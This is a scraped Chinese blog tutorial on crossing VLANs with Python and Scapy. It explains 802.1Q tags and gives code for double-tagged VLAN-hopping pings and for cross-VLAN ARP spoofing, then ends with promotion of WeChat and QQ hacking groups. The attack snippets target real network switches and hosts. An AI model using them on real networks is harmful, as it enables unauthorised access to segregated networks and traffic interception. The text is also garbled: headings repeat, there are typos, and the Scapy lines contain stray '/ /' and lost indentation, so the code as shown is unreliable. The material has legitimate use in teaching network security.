Python黑帽编程 3.4 跨越VLAN

摘要

VLAN (Virtual Local Area Network) ,是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个 VALN ,也可以跨越物理网络障碍,将不同子网中的用户划到同一个 VLAN 中。图 2 是一个 VLAN 划分的例子。

Python黑帽编程 3.4 跨越VLAN

Python 黑帽编程 3.4 跨域VLAN

VLAN (Virtual Local Area Network) ,是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个 VALN ,也可以跨越物理网络障碍,将不同子网中的用户划到同一个 VLAN 中。图 2 是一个 VLAN 划分的例子。

Python黑帽编程 3.4 跨越VLAN

2

实现 VLAN 的方式有很多种,基于交换设备的 VLAN 划分,一般有两种:

l   基于交换机的端口划分

l   基于 IEEE 802.1q 协议,扩展以太网帧格式

基于第二层的 VLAN 技术,有个 Trunking 的概念, Trunking 是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个 VLAN 的成员能够相互通讯。其中交换机之间互联用的端口就称为 Trunk 端口。除了 80.2.1q 之外,思科有自己的 Trunk 协议叫 ISL

Python黑帽编程 3.4 跨越VLAN

3

3 802.1q 的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了 VLAN Tag 。红色部分的 VLAN Identifier 标识了一个数据包属于哪个 VLAN ,从而保证了数据广播的范围不会跨越 VLAN

现在做简单的思考,想要跨越 VLAN 通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨 VLANping ,从 Vlan1 的一个主机发送一个 ping 请求到 Vlan2 中的一个主机。

在具体编码前,我们还是要先解决 VLAN 数据包构造的问题,在 Scapy 中我们使用 Dot1Q 类来构造图 3 中的 Tag 部分。如图 4

Python黑帽编程 3.4 跨越VLAN

4

下面我们可以编写一个跨 VLAN ping 请求了。

#!/usr/bin/python    

from   scapy.all   import   *    

packet =   Ether(dst="c0:d3:de:ad:be:ef") /   /

Dot1Q(vlan=1) /   /

Dot1Q(vlan=2) /   /

IP(dst="192.168.13.3") /   /

ICMP()    

sendp(packet)

上面的代码我们指定了目标主机的 MAC IP 地址,添加了两个 VLAN 标识,第一个是发送数据的主机所在的 VLAN ,第二个是目标主机所在的 VLAN 。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2  VLAN ARP 欺骗

3.1 3.2 3.3 节我们都在讨论 ARP 欺骗的问题,由于 VLAN 限制了广播域,我们之前的代码是无法跨 VLAN 进行 ARP 欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的 ARP 欺骗数据中插入 VLAN 标识即可。下面这段代码是我们在 3.1 节构造 ARP 请求数据包的代码。

def build_req():

if options.target is None:

pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])

elif options.target:

target_mac = getmacbyip(options.target)

if target_mac is None:

print "[-] Error: Could not resolve targets MAC address"

sys.exit(1)

pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

return pkt

在构造数据包的部分,我们插入 VLAN 标识:

pkt = Ether(src=mac, dst=target_mac) / Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨 VLAN ARP 欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗 VLAN 的数据包,达到跨 VLAN 数据通信和 ARP 欺骗的目的。需要注意的是,本文的方法主要针对 802.1Q 协议,对以端口进行物理隔离的的 VLAN 没有效果。

下一节,我们继续VLAN攻击《3.5 DTP攻击》。

3.5 节《DTP攻击》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单 专栏 ”—>”Python 黑帽编程 进入即可。

查看完整系列教程,请关注我的微信订阅号( xuanhun521 ,下方二维码),回复“ python ”。问题讨论请加 qq 群: Hacking 1 群): 303242737   Hacking 2 群): 147098303

Python黑帽编程 3.4 跨越VLAN

玄魂工作室 - 精彩不断

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: